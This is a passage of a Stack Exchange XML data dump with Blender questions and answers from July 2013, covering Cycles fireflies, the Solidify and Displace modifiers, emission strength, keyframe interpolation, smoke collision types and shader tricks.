  <row Id="1699" PostTypeId="1" CreationDate="2013-07-07T17:31:42.483" Score="2" ViewCount="191" Body="&lt;p&gt;When I download 2.68, unzipped it and then opened Blender, I got the 2.67b splash screen. I am on x64 Windows 7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am a bit confused. Which version of Blender have I actually got, and how can I tell the difference?&lt;/p&gt;&#xA;" OwnerUserId="906" LastEditorUserId="12" LastEditDate="2013-07-07T19:21:36.907" LastActivityDate="2013-07-08T04:30:05.023" Title="Why does Blender 2.68 appear to still be 2.67b?" Tags="&lt;versions&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2013-07-08T04:30:19.523" ContentLicense="CC BY-SA 3.0" />
  <row Id="1700" PostTypeId="2" ParentId="1699" CreationDate="2013-07-07T17:55:04.783" Score="6" Body="&lt;p&gt;Because 2.68 is currently a &lt;a href=&quot;https://en.wikipedia.org/wiki/Software_release_life_cycle#Release_candidate&quot; rel=&quot;nofollow noreferrer&quot;&gt;release candidate&lt;/a&gt; and the renaming of the new version is not done yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at the splash screen there is a number after the r.&#xA;It is not the same between the 2.67b and the 2.68 RC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/A4zwE.jpg&quot; alt=&quot;splash screen&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="663" LastEditorUserId="25" LastEditDate="2013-07-07T21:19:23.443" LastActivityDate="2013-07-07T21:19:23.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1701" PostTypeId="2" ParentId="1680" CreationDate="2013-07-07T21:15:20.547" Score="7" Body="&lt;h1&gt;I still think that edge split is the way to go:&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Make sure edge split is the last modifier.&lt;/li&gt;&#xA;&lt;li&gt;Make sure that it is smooth shaded without it.&lt;/li&gt;&#xA;&lt;li&gt;Set edge split angle to zero and check the angle.&lt;/li&gt;&#xA;&lt;li&gt;Add desired keyframes for the angle checkbox.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Frame One:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FIR4M.png&quot; alt=&quot;Frame One&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Frame Six:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xJ3dh.png&quot; alt=&quot;Frame Six&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="649" LastEditorUserId="649" LastEditDate="2014-03-05T08:02:28.333" LastActivityDate="2014-03-05T08:02:28.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1702" PostTypeId="2" ParentId="1669" CreationDate="2013-07-07T22:41:57.653" Score="5" Body="&lt;p&gt;In the Shape panel for Curve objects there are 3 twisting options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Z-Up: uses Z axis to determine the twist.&lt;/li&gt;&#xA;&lt;li&gt;Tangent: uses Frenet / Darboux frame tangent.&lt;/li&gt;&#xA;&lt;li&gt;Minimum: step along the curve points, for each point computing a normal that is orthogonal to the curve direction and rotated as little as possible compared to the normal of the previous point.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Minimum is the default, and it behaves well in most cases. The downside is that it's non-local, any control point can influence the twist in the rest of the curve, but that's unavoidable, there is no other way to get minimal twisting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The implementation in the Blender source code is in &lt;code&gt;make_bevel_list_3D_minimum_twist&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="242" LastActivityDate="2013-07-07T22:41:57.653" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1703" PostTypeId="1" CreationDate="2013-07-08T00:47:49.570" Score="44" ViewCount="40293" Body="&lt;p&gt;I often use Cycles' built in Glass BSDF shader to achieve realistic refraction effects, but in many cases, it seems that Cycles' glass caustics creates an unfortunately large number of fireflies (pixels that are abnormally bright relative to their surroundings). In some models of mine, even when I render for 3000 or more samples/pixel, my final image is still covered in fireflies. While I can improve this in many cases by increasing the total amount of light available in the scene, this loses a lot of the potency of the refractive effects I'm looking for, especially in scenes with low light levels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, how can I reduce the amount of fireflies while using Cycles' caustics without sacrificing the quality of the refractive effects?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: I am aware that Cycles' caustics will perform much better once Cycles has full support for bidirectional path-tracing, but it looks unlikely that that will become &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.6/Source/Render/Cycles/Roadmap#Not_Priorities&quot;&gt;a reality any time soon&lt;/a&gt;, unfortunately.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="2952" LastEditDate="2015-10-02T12:53:25.000" LastActivityDate="2020-10-06T02:03:37.237" Title="How to reduce fireflies in Cycles?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;shaders&gt;" AnswerCount="9" CommentCount="2" FavoriteCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="1704" PostTypeId="1" AcceptedAnswerId="1705" CreationDate="2013-07-08T00:54:59.953" Score="7" ViewCount="1445" Body="&lt;p&gt;In Blender's built-in &lt;em&gt;Text Editor&lt;/em&gt;, there's a &lt;em&gt;Templates&lt;/em&gt; menu at the bottom with a bunch of pre-built templates for scripting addons. However, I have created a few new templates myself that I use frequently. Is there any way for me to add my templates to this menu?&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="25" LastEditDate="2013-07-08T05:02:26.283" LastActivityDate="2016-01-03T13:28:05.050" Title="How to add a new Text Editor template?" Tags="&lt;customization&gt;&lt;text-editor&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1705" PostTypeId="2" ParentId="1704" CreationDate="2013-07-08T01:10:07.320" Score="8" Body="&lt;p&gt;In &lt;code&gt;[version_number]/scripts&lt;/code&gt; subfolder of your Blender installation, or in any additional path(s) for scripts you've set in User Preferences, there's a folder &lt;code&gt;templates_py&lt;/code&gt; (and one for osl too). Just put the templates there; in the menu, each &lt;code&gt;_&lt;/code&gt; in the file name will be converted into a space and each beginning letter of a word capitalized.&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="185" LastEditDate="2013-07-08T01:46:12.377" LastActivityDate="2013-07-08T01:46:12.377" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1706" PostTypeId="2" ParentId="1645" CreationDate="2013-07-08T01:46:50.183" Score="3" Body="&lt;p&gt;Your handlers look fine, but you definitely need to look into other ways to run multiple processes than using the &lt;code&gt;threading&lt;/code&gt; module. Python's &lt;code&gt;threading&lt;/code&gt; module is not fully compatible with how Blender operates and is a guaranteed way to generate lots of ugly errors farther down the road.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other options you should consider:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Blender's Modal Operators:&lt;/strong&gt; These are &lt;em&gt;not&lt;/em&gt; the same as the threading module, but are instead essentially Blender's own implementation of threading. Look at the &lt;em&gt;Operator Modal&lt;/em&gt; template file in Blender's Text Editor for an example of how to use this. &lt;em&gt;This is the recommended way of multithreading in Blender!&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;The &lt;code&gt;multiprocessing&lt;/code&gt; module:&lt;/strong&gt; Allows you to utilize multiple GPU/CPU cores for your rendering. This can have the additional advantage of allowing you to greatly speed up your rendering times by rendering multiple images in parallel.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;The &lt;code&gt;subprocess&lt;/code&gt; module:&lt;/strong&gt; This is by far the simplest way to thread, but only supports command-line operations. If you are willing to do command-line rendering, this should work.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;The &lt;code&gt;concurrent.futures&lt;/code&gt; module:&lt;/strong&gt; This module is a high-level way of operating parallel threads, that essentially allows you to &quot;queue&quot; jobs to be completed. I haven't used this yet, since it's new in Python 3.x, but I recommend you take a look at it to see if it does what you're looking for.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="25" LastEditorUserId="25" LastEditDate="2013-07-08T05:04:49.683" LastActivityDate="2013-07-08T05:04:49.683" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1708" PostTypeId="1" CreationDate="2013-07-08T02:06:14.413" Score="11" ViewCount="2364" Body="&lt;p&gt;I'm working on the center cup part of a daffodil, and this is my current setup. I have textures that are mapped such that they displace the geometry the way I want it. I then have a Solidify modifier to prevent the mesh from being &quot;single-sided&quot;. This is the result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4AqC0.png&quot; alt=&quot;Current Result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the problem I'm having is that the textures seems to displace the geometry &lt;em&gt;after&lt;/em&gt; the Solidify modifier has been applied, but I want the textures to displace the geometry &lt;em&gt;before&lt;/em&gt; the Solidify modifier. I know there's a Displace modifier, but that doesn't give me the fine-tuning control I need and have within the Texture panel. As the textures displace according to the normal, the result is that the edge is thick when I want it to have the same thickness as the rest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I force the Solidify modifier to take place &lt;em&gt;last&lt;/em&gt;? Is there another way to achieve the same result?&lt;/p&gt;&#xA;" OwnerUserId="21" LastEditorUserId="20" LastEditDate="2013-07-08T14:09:06.223" LastActivityDate="2013-08-07T15:03:27.807" Title="How can I get the Solidify modifier to apply after a texture displacement?" Tags="&lt;texturing&gt;&lt;modifiers&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1709" PostTypeId="2" ParentId="1703" CreationDate="2013-07-08T02:30:50.467" Score="5" Body="&lt;p&gt;You could use the &lt;a href=&quot;https://docs.blender.org/manual/en/2.90/render/cycles/render_settings/light_paths.html#clamp&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;clamp&lt;/em&gt; value&lt;/a&gt; which can be used to keep samples from returning higher than a certain value. (located in &lt;em&gt;Properties &amp;gt; Render &amp;gt; Sampling&lt;/em&gt;)&lt;br /&gt;&#xA;As most of the time fireflies are much brighter than the rest of the image, this can work reasonably well.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X5e9A.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2020-10-06T02:03:37.237" LastActivityDate="2020-10-06T02:03:37.237" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="1710" PostTypeId="2" ParentId="1703" CreationDate="2013-07-08T02:33:52.283" Score="12" Body="&lt;p&gt;If you have fireflies (bright pixels) one option is to use the 'Clamp' option. It can be found in the render settings within the 'Sampling' panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Clamp option will clamp brightness of individual samples (not pixels) to a value set. Value of 0 is disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need to adjust the value to suit your scene, a value of 2.0 may be a good start. &#xA;Too high setting and the firefly will not be eliminated but too low setting and any highlights of your image will be cut off. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Experiment with the value until you can find the highest value which still eliminates the firefly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The brightness of the firefly sample may be several (or 100x) times brighter than any other in the render. The firefly sample may be only one of the many samples which average to make up the pixel. This is why, in many cases you can cut off the firefly sample without damaging the rest of the image.&lt;/p&gt;&#xA;" OwnerUserId="904" LastActivityDate="2013-07-08T02:33:52.283" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1711" PostTypeId="5" CreationDate="2013-07-08T05:06:05.517" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-07-08T05:06:05.517" LastActivityDate="2013-07-08T05:06:05.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1712" PostTypeId="4" CreationDate="2013-07-08T05:06:05.517" Score="0" Body="Questions about Blenders built-in text editor. The text editor is mostly used for developing python scripts, addons, and code for the Blender Game Engine." OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-07-08T05:09:01.180" LastActivityDate="2013-07-08T05:09:01.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1714" PostTypeId="1" CreationDate="2013-07-08T09:06:44.387" Score="10" ViewCount="1483" Body="&lt;p&gt;To create a light source using Cycles, I create a plane (or other mesh shape) and set the strength until it looks good.  When I scale that light source, say make it three times bigger, the total amount of light increases.  Highlights blow out and the scene sometimes goes almost all white. So, I reduce the emission shader's strength. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that the strength is interpreted as luminous watts per square meter.  Is this how it works? Wouldn't it be better to be able to alter a luminous object, to control softness and depth of shadows, without changing the overall brightness contributed by that source to the scene. Is this possible to do this easily, and am I understanding what is happening correctly?&lt;/p&gt;&#xA;" OwnerUserId="606" LastEditorUserId="20" LastEditDate="2013-07-08T13:16:56.053" LastActivityDate="2014-03-15T17:47:38.167" Title="Altering size of emission object without messing up brightness of light in scene" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1715" PostTypeId="2" ParentId="1708" CreationDate="2013-07-08T11:39:37.773" Score="4" Body="&lt;h1&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Deform/Displace&quot; rel=&quot;nofollow noreferrer&quot;&gt;Displace Modifier&lt;/a&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Using this modifier before Solidify is the easiest option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8xKuS.png&quot; alt=&quot;Displace modifier example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you seem to have tried this, I'll include the &lt;a href=&quot;http://www.pasteall.org/blend/22646&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file for you to inspect&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditDate="2013-07-08T12:35:15.977" LastActivityDate="2013-07-08T12:35:15.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1716" PostTypeId="2" ParentId="1708" CreationDate="2013-07-08T13:04:32.483" Score="3" Body="&lt;p&gt;You can use the &quot;Material Index Offset&quot; setting of the Solidify modifier to apply a material with a inverted displacement to the generated faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3DeRu.png&quot; alt=&quot;Example setup&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditDate="2013-07-08T13:43:37.767" LastActivityDate="2013-07-08T13:43:37.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1717" PostTypeId="2" ParentId="1714" CreationDate="2013-07-08T13:20:03.997" Score="2" Body="&lt;p&gt;I am not sure, I cannot check it from this machine, but I think, it may be able to do it using nodes. When all the three coords are scaled with the same amout, then theoretically the same total light amount comes out when you set the emission to: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;desired strength / scale square&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where desired strength is what you like when scale is&#xA;one. So in case you can acces the scale from the nodes,&#xA;you are saved. I will check this when I get home.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did not Find a node for scale. But you can use the method Aldrik suggested, with the equation I have written, and your result will be the desired: Scaleing the light source will only change the shadows blur but not the lights total strength.&lt;/p&gt;&#xA;" OwnerUserId="649" LastEditorUserId="649" LastEditDate="2014-03-15T17:47:38.167" LastActivityDate="2014-03-15T17:47:38.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1718" PostTypeId="1" AcceptedAnswerId="23196" CreationDate="2013-07-08T17:59:27.013" Score="14" ViewCount="2840" Body="&lt;p&gt;I want to render only keyframes from Dope-sheet without the in-between frames. Effectively creating hold of last keyframe till there is new keyframe by re-saving (not re-rendering) the previously rendered keyframe as next frame till I hit next keyframe. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am Aware of OpenGL render for quick test. But I am talking of final test.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to do this so that I can block out poses without interpolation. With Final render result it will help check lighting, materials and mesh deformations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="778" LastEditorUserId="3710" LastEditDate="2015-01-15T08:47:57.840" LastActivityDate="2018-07-21T13:11:44.223" Title="Is it possible to render only keyframes from Dope-sheet?" Tags="&lt;python&gt;&lt;rendering&gt;&lt;animation&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1719" PostTypeId="1" CreationDate="2013-07-08T18:42:44.893" Score="20" ViewCount="24335" Body="&lt;p&gt;I have a plane in blender with a image texture node, connected to a RGB to black and white node connected to a multiplier before being connected to the displacement of the &lt;em&gt;Material Output&lt;/em&gt; node. There appears to be some shadowing on the plane but it is only this that changes when I change the multiplier, the plane while viewed from the side rendered is still totally flat. Do I need to bake this in some way? Or have I totally misunderstood how displacement textures are supposed to work?&lt;/p&gt;&#xA;" OwnerUserId="915" LastEditorUserId="12" LastEditDate="2013-12-18T15:23:14.387" LastActivityDate="2017-08-31T10:57:34.870" Title="Why won't the material node displacement work in cycles" Tags="&lt;cycles-render-engine&gt;&lt;modeling&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1720" PostTypeId="2" ParentId="1719" CreationDate="2013-07-08T19:00:02.217" Score="18" Body="&lt;p&gt;Change the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/cycles/materials/displacement.html?#true-displacement&quot; rel=&quot;noreferrer&quot;&gt;displacement type&lt;/a&gt; found in the Properties window under Object Data from (the default) &lt;em&gt;Bump&lt;/em&gt; to &lt;em&gt;True&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Note that this is an &lt;em&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/cycles/features.html#cycles-experimental-features&quot; rel=&quot;noreferrer&quot;&gt;experimental feature&lt;/a&gt;&lt;/em&gt; and you must change the feature set from &lt;em&gt;Supported&lt;/em&gt; to &lt;em&gt;Experimental&lt;/em&gt; in &lt;em&gt;Properties &amp;gt; Render Settings &amp;gt; Render&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;True Displacement&lt;/strong&gt;: Mesh vertices will be displaced before rendering, modifying the actual mesh. This gives the best quality results, if the mesh is finely subdivided. As a result this method is also the most memory intensive.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Bump Mapping&lt;/strong&gt;: When executing the surface shader, a modified surface normal is used instead of the true normal. This is a quick alternative to true displacement, but only an approximation. Surface silhouettes will not be accurate and there will be no self shadowing of the displacement.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="290" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2017-08-31T10:57:34.870" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1721" PostTypeId="2" ParentId="1718" CreationDate="2013-07-08T19:05:51.603" Score="4" Body="&lt;p&gt;You can use the constant offset interpolation. To do so:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to the &lt;em&gt;Graph Editor&lt;/em&gt; and select all your curves (&lt;kbd&gt;A&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;T&lt;/kbd&gt; and select constant.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Your animation will now consist of poses without any interpolation in between. Keep in mind that your pose will not change at the middle of a changed pose. It will change at the end.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-07-08T19:12:12.333" LastActivityDate="2013-07-08T19:12:12.333" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1723" PostTypeId="1" CreationDate="2013-07-08T20:00:24.033" Score="17" ViewCount="3375" Body="&lt;p&gt;What are the technical differences between &lt;em&gt;Rigid&lt;/em&gt;, &lt;em&gt;Static&lt;/em&gt;, and &lt;em&gt;Animated&lt;/em&gt; &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Smoke/Collisions&quot; rel=&quot;nofollow noreferrer&quot;&gt;smoke collision types&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iJzPG.png&quot; alt=&quot;smoke collision type selection&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Smoke/Collisions&quot; rel=&quot;nofollow noreferrer&quot;&gt;Documentation&lt;/a&gt;, it says that:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Smoke can collide with mesh objects, using the 'Collision' option in&#xA;  smoke. Currently only static collision objects are supported.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However, the other collision types are obviously doing something. If they are all simply acting the same, why is there currently an option to use the other types, and what will the differences be once the other types are implemented?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In reply to &lt;a href=&quot;https://blender.stackexchange.com/a/2343/599&quot;&gt;dukejib's answer&lt;/a&gt;,&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Animated&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I scaled the domain, so the smoke cannot go around the animated brick on the Y axis to make the effects of the brick passing through more obvious:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z9pNW.png&quot; alt=&quot;scaled smoke domain&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the same test baked with different collision types:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Animated:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Loo7E.gif&quot; alt=&quot;animated collision type&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Rigid:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0ZEja.gif&quot; alt=&quot;rigid collision type&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Static:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ekXz8.gif&quot; alt=&quot;static collision type&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All are identical as far as I can tell.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Rigid&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The same seems to be true with the rigid body test:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Rigid:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NIMbx.gif&quot; alt=&quot;rigid body with rigid collision type&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Animated:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NmGch.gif&quot; alt=&quot;rigid body with animated collision type&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Static:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Al06T.gif&quot; alt=&quot;rigid body with static collision type&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Input from a developer or someone who can look at the code to see if these collision types really are the same would be nice. ;)&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2013-09-01T10:27:34.383" Title="What Are the Differences between Smoke Collision Types?" Tags="&lt;smoke-simulation&gt;&lt;rigid-body-simulation&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1724" PostTypeId="2" ParentId="1714" CreationDate="2013-07-08T20:15:54.990" Score="6" Body="&lt;h1&gt;Set the emission using a driver&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4QYxg.png&quot; alt=&quot;Example driver: &amp;quot;0.1 ** (x * y * z)&amp;quot; where x, y, z are the respective scale axis&amp;#39;s&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/1563/290&quot;&gt;See this answer&lt;/a&gt; for the basics of setting up a driver.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Result&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C8wvG.gif&quot; alt=&quot;A scaling cube with diminishing emission&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2013-07-08T20:15:54.990" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1725" PostTypeId="1" AcceptedAnswerId="1726" CreationDate="2013-07-08T20:37:40.130" Score="8" ViewCount="5029" Body="&lt;p&gt;How can I have an object that emits light (using an emission shader) onto other objects, but when rendered appears to be diffuse (or any other shader for that matter)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In essence, I want one object to emit light that shows on other objects, but that only itself receives light from other objects (not itself). Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried doing this using Max/Add Shader nodes, but this just mixed in the &quot;pure white&quot; emission shader look with the diffuse shader I was using.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2013-07-08T20:49:13.670" Title="Material that emits light, but appears diffuse?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;light&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1726" PostTypeId="2" ParentId="1725" CreationDate="2013-07-08T20:49:13.670" Score="9" Body="&lt;p&gt;Use the &lt;em&gt;Is Camera Ray&lt;/em&gt; output of the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/More#Light_Path&quot; rel=&quot;noreferrer&quot;&gt;Light Path node&lt;/a&gt; to mix the shaders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YjvhO.png&quot; alt=&quot;example node setup&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-07-08T20:49:13.670" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1727" PostTypeId="2" ParentId="1719" CreationDate="2013-07-08T20:49:27.393" Score="6" Body="&lt;p&gt;By default, using the 'Displacement' plug in the &lt;em&gt;Node Editor&lt;/em&gt; does not truly displace the mesh, but &quot;bump maps&quot; it instead, which essentially means that it approximates the appearance of displacement without actually displacing it. In order to &lt;em&gt;actually&lt;/em&gt; displace the mesh, you are going to have to use a different techique.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although there are a variety of ways to do this, the standard way to displace a mesh, instead of using node 'Displacement', is to use the &lt;em&gt;Displace&lt;/em&gt; modifier. To apply your node setup to the &lt;em&gt;Displace&lt;/em&gt; modifer, choose a texture in the modifier panel, then select that texture and edit using the &lt;em&gt;Node Editor&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2013-07-08T20:49:27.393" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1728" PostTypeId="2" ParentId="1605" CreationDate="2013-07-09T02:00:53.503" Score="26" Body="&lt;p&gt;True iridescence is difficult to achieve using Cycles. However, there are ways you can fake the effects of iridescence by shifting the color slightly based on the object normals. This has the advantage of being highly customizable for your particular purpose and &lt;em&gt;much&lt;/em&gt; faster than true iridescence would be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; I was able to find an implementation of this using Cycles on &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?340095-A-complex-approach-Iridescence-in-cycles&quot; rel=&quot;noreferrer&quot;&gt;this BA thread&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the node setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/h1KVf.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/h1KVf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And an example render using the above node setup with different 